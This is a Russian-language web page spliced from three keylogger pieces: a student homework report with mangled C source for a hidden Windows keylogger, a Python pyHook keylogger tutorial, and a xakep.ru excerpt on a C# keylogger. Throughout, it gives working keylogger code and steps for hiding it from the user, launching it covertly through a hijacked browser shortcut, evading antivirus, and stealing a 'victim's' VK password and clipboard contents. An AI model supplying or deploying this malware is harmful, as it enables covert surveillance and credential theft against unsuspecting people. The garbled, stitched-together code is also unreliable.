Реализовать клавиатурный шпион. Программа должна записывать данные о всех нажатиях/отжатиях клавиш в файл. Визуально работу программы не должно быть видно.
2. Краткие теоретические сведения
Клавиатурный шпион (или на английском keylogger) представляет собой специальное программное обеспечение, которое собирает историю нажатия клавиш и выводит это в виде текстовой информации, которую набирал пользователь на клавиатуре.
В большинстве случаев клавиатурные шпионы или keylogger работают в невидимом режиме — пользователь компьютера не подозревает, что за ним ведётся наблюдение. Программы шпионы обычно маскируются под системные процессы или работают как службы, благодаря чему просто отсутствуют в списках запущенных процессов Windows. Обнаружить клавиатурный шпион достаточно сложно.
Немногие антивирусы способны определить профессиональный клавиатурный шпион. Однако в любом случае необходимо своевременно обновлять антивирусные базы и желательно установить модуль защиты от шпионского программного обеспечения, которым обладают практически все антивирусы.
Эта программа тебя удивит шпион на python
Чаще всего keylogger используют нелегально для специфических целей — воровство паролей к различным системам авторизации, почте, банковскому счёту, сайтам знакомств и т.д.. Однако существует и легальные пути применения клавиатурных шпионов:
- Для логирования действий сотрудников на работе (эту возможность используют службы безопасности — иногда требуется восстановить порядок действий пользователя для предотвращения возможных утечек информации);
- Для получения статистики работы (актуально для копирайтеров, стенографистов и т.д.);
- Для контроля использования конфиденциальной информации.
3. Текст программы
#include #include #include #define VK_ALT 0x12 void keys(int key,char *file, bool isPressed) < FILE *key_file; key_file = fopen(file,»a+»); if(isPressed key>6) fprintf(key_file,»»); else if(key>6) fprintf(key_file,»»); if (key==8) fprintf(key_file,»%s»,»[del]»); else if (key==13) fprintf(key_file,»%s»,»n»); else if (key==32) fprintf(key_file,»%s»,» «); else if (key==VK_CAPITAL) fprintf(key_file,»%s»,»[Caps]»); else if (key==VK_TAB) fprintf(key_file,»%s»,»[TAB]»); else if (key==VK_ALT) fprintf(key_file,»%s»,»[ALT]»); else if (key ==VK_SHIFT) fprintf(key_file,»%s»,»[SHIFT]»); else if (key ==VK_CONTROL) fprintf(key_file,»%s»,»[CTRL]»); else if (key ==VK_PAUSE) fprintf(key_file,»%s»,»[PAUSE]»); else if (key ==VK_KANA) fprintf(key_file,»%s»,»[Kana]»); else if (key ==VK_ESCAPE) fprintf(key_file,»%s»,»[ESC]»); else if (key ==VK_END) fprintf(key_file,»%s»,»[END]»); else if (key==VK_HOME) fprintf(key_file,»%s»,»[HOME]»); else if (key ==VK_LEFT) fprintf(key_file,»%s»,»[LEFT]»); else if (key ==VK_UP) fprintf(key_file,»%s»,»[UP]»); else if (key ==VK_RIGHT) fprintf(key_file,»%s»,»[RIGHT]»); else if (key ==VK_DOWN) fprintf(key_file,»%s»,»[DOWN]»); else if (key ==VK_SNAPSHOT) fprintf(key_file,»%s»,»[PRINT]»); else if (key ==VK_NUMLOCK) fprintf(key_file,»%s»,»[NUM LOCK]»); else if (key ==190 || key==110) fprintf(key_file,»%s»,».»); else if (key >=96 key else < if (key >=48 key =65 key <=90) < if (GetKeyState(VK_CAPITAL)) fprintf(key_file,»%s», else < key = key +32; fprintf(key_file,»%s», >> > > fclose(key_file); > int main() < char i; char test[MAX_PATH]; bool isKeyDown[190], a; GetWindowsDirectory((LPWSTR)test,sizeof(test)); strcat(test,»keys.txt»); for(int i = 8; i> > >
Как написать KeyLogger на Python
4. Тестовый пример
5. Вывод
В данном индивидуальном домашнем задании был реализован простейший клавиатурный шпион, записывающий в файл нажатия/отжатия клавиш. Анализ программы на virustotal.com показал, что из 45 антивирусов только один выразил недоверие — CAT-QuickHeal () : (Suspicious) – DNAScan. 7
Источник: studfile.net
Создание кейлоггера на Python
Кейлоггер (клавиатурный шпион) – небольшая программа, главным назначением которой является скрытый мониторинг нажатий клавиш на клавиатуре и ведение журнала этих нажатий.
Для создания кейлоггера нам потребуется:
1) операционная система: Windows или MacOs.
2) установленный на целевой машине Python, а также специальные библиотеки.
Для начала необходимо скачать и установить https://www.python.org После установки Python вам необходимо установить модули «pyHook» и «pywin32». На этом https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook вы найдете 32- и 64-битные версии для Windows и других ОС. Скачайте «PYhook» и «pyWin32» в соответствии с установленной вами версией Python.
После загрузки установите и откройте меню IDLE (Python GUI) из меню «Пуск».
Зайдите в меню «Файл» и нажмите на пункте «Новый Файл». После чего вставьте код кейлоггера:
import pyHook, pythoncom, sys, logging
file_log = ‘C:\keyloggerlog.txt’
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format=’% (message)s’)
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Сохраните его, назвав файл Keylogger.pyw. Только не сохраняйте файл в корневом каталоге C:, где для копирования и удаления файлов нужны права администратора. Создайте новую папку на диске C: или в другом месте, где вам не нужны права администратора для копирования файлов и сохраните Keylogger.pyw там.
В качестве выходного файла отчета «file_log =« C:keyloggerlog.txt » вы можете выбрать любое место, но лучше, конечно, какое-то скрытое место на жестком диске. В этом примере я буду сохранять файл отчета на диск в корневой каталог C:.
Кейлоггер готов. Теперь надо сделать так, чтобы кейлоггер запускался скрыто от пользователя и автоматически с загрузкой Windows. Реализовать это можно по-разному. Попробуем сделать это с помощью bat-файла, привязав запуск кейлоггера к какой-нибудь программе или прописав в автозагрузку.
Для начала создайте bat-файл. Для этого скопируйте и вставьте в блокнот следующий код:
start «» «C:keyloggerkeylogger.pyw»
start «» «C:Program FilesOperalauncher.exe»
В первой строке необходимо вписать путь к файлу keylogger.pyw. Во второй строке вы должны ввести путь к программе, который обычно использует пользователь (в моем случае – браузер Opera).
После редактирования сохраните файл в расширении .bat (в моем случае logger.bat) в каком-нибудь скрытом месте на компьютере (в моем случае в «C:keylogger.bat»).
Теперь идем на рабочий стол и выбираем ярлык часто используемой программы (в моем случае – это браузер Opera). Правым кликом мышки вызываем контекстное меню и заходим в свойства ярлыка. В поле «Объект» вводим путь к bat-файлу кейлоггера «C:keyloggerlogger.bat».
После внесения изменений изменится и иконка ярлыка. Но это легко решается на вкладке свойстве (смотрите скрин выше).
Теперь, когда жертва откроет браузер Opera, автоматически запустится bat-файл, т.е. наш кейлоггер. С этого момента все нажатия на клавиатуре будут сохраняться в файл keyloggerlog.txt. Для остановки работы кейлоггера зайдите в диспетчер задач и закройте процесс.
Кейлоггер по-домашнему. Пишем на C# кейлоггер, который не палится антивирусами
Боевые кейлоггеры с кучей функций и защитой от детекта могут стоить десятки, если не сотни долларов. Но кейлоггер не такая уж сложная штука, и при желании ты можешь сделать собственный и даже избежать детекта антивирусами. В этой статье я покажу, как это делается, а заодно поупражняемся в разработке программ на C#.
Ставим задачу
Мудрить не будем и ограничимся необходимым минимумом. Предположим, мы хотим заполучить пароль жертвы от ВК и мы можем ненадолго получить физический доступ к компьютеру. При этом:
- мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
- мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
- мы сможем забирать логи, находясь в той же локальной сети;
- антивирус должен молчать;
- файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
- мы не будем пытаться скрывать процесс и только дадим ему неприметное название.
Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.
INFO
Подробнее об атаках на парольные менеджеры читай в статье «Ищем слабые места современных менеджеров паролей».
Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.
Теория
Когда ты нажимаешь на кнопку, операционка посылает уведомления тем программам, которые хотят об этом узнать. Поэтому самый простой способ перехватить ввод с клавиатуры — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее.
Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будем записывать в файл.
Пишем код
Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь юзера мы договорились не беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляй автоматически созданный файл Form1.cs со всеми потрохами и открывай Program.cs.
Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args) . Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.
Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если ты не хочешь писать костыльный вариант, лучше пропусти этот раздел и сразу переходи к следующему.
Импортируем GetAsyncKeyState из user32.dll:
[DllImport(«user32.dll»)] public static extern int GetAsyncKeyState(Int32 i);
И добавляем собственно логирование нажатий, собирая их по десять штук, чтобы не делать слишком много дисковых операций:
while (true) < Thread.Sleep(100); for (int i = 0; i < 255; i++) < int state = GetAsyncKeyState(i); if (state != 0) < buf += ((Keys)i).ToString(); if (buf.Length >10) < File.AppendAllText(«keylogger.log», buf); buf = «»; >> > >
Выглядит не очень красиво, а про читабельность вообще можно забыть. Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давай не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if в цикле на это:
// Усовершенствованная проверка введенных символов // if (((Keys)i) == Keys.Space) < buf += » «; continue; >if (((Keys)i) == Keys.Enter) < buf += «rn»; continue; >if (((Keys)i) == Keys.LButton ||((Keys)i) == Keys.RButton ||((Keys)i) == Keys.MButton) continue; if (((Keys)i).ToString().Length == 1) < buf += ((Keys)i).ToString(); >else < buf += $»>»; > if (buf.Length > 10)
После такого редактирования лог стал намного чище (см. рисунок).
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Источник: xakep.ru